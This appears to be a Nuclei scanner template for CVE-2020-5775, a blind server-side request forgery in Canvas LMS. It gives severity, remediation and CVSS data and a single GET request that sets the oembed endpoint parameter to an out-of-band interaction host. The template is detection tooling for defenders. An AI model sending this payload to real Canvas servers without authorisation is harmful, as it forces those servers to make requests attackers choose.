id: CVE-2020-5775 info: name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery author: alph4byt3 severity: medium description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. remediation: | Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability. reference: - https://www.tenable.com/security/research/tra-2020-49 - https://nvd.nist.gov/vuln/detail/CVE-2020-5775 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N cvss-score: 5.8 cve-id: CVE-2020-5775 cwe-id: CWE-918 epss-score: 0.00194 epss-percentile: 0.57103 cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:* metadata: max-request: 1 vendor: instructure product: canvas_learning_management_service tags: cve,cve2020,ssrf,oast,blind,tenable,instructure http: - method: GET path: - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo" matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" # digest: 4a0a00473045022100e84e7bef86fb74f8f97011a79bbca81309d1e1ba15d80f50d630261dccafe37102207af18b28d03450467349c35bab2602f0def8f49ec19caa78290105d616fbf9de:922c64590222798bb761d5b6d8e72950